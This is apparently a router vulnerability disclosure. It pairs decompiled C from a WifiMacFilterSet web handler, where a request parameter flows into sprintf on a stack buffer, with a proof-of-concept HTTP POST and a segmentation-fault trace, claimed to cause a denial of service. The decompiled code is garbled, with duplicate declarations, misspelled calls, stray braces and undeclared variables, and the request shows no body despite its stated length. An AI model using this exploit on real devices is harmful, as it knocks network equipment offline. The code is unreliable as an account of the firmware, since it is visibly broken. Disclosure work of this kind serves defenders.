

```
int v1; // r0
int v2; // r0
int v3; // r0
int v3; // r0
int v4; // r0
int v5; // r5
int v6; // r0
int nptr[4]; // [sp+10h] [bp-F4h] BYREF
char v10[64]; // [sp+20h] [bp-E4h] BYREF
char s[100]; // [sp+6h] [bp-A4h] BYREF
char s[100]; // [sp+6h] [bp-A4h] BYREF
char *wl_radio_value; // [sp+E4h] [bp-20h]
int maclist_value; // [sp+E8h] [bp-1ch]
char *filterMode_value; // [sp+F4h] [bp-10h]

GO_value = (const char *)get_value_from_web(a1, "GO", "wireless_filter.asp");
index_value = (char *)get_value_from_web(a1, "index", "0");
filterMode_value = (char *)get_value_from_web(a1, "filterMode", "disabled");

aulist_value = get_value_from_web(a1, "maclist", &unk_7DD14);

aulist_value = get_value_from_web(a1, "wl_radio", "0");
memset(v12, 0, sizeof(v12));
memset(v12, 0, sizeof(v12));
memset(v12, 0, sizeof(v12));
memset(v10, 0, sizeof(v10));
if (!stcmp(wl_radio_value, "0"))
{
   strcmp(index_value, "0");
   sprintf((char *)v12, "wl2g.ssid%s.", index_value);
}
}
class if (!strcmp(wl_radio_value, "1"))
{
   strcmp(index_value, "0");
   sprintf((char *)v12, "wl5g.ssid%s.", index_value);
}
}
```

POC

This POC can result in a Dos.

```
POST /goform/WifiMacFilterSet HTTP/1.1
Host: 192.168.204.133
Content-Length: 2068
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.204.133
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.204.133/system_hostname.asp
Accept-Language: zh-CN,zh,q=0.9
Cookie: blanguage=cn; password=jbl1qw; user=
Connection: close
```



qemu: uncaught target signal 11 (Segmentation fault) - core dumped Segmentation fault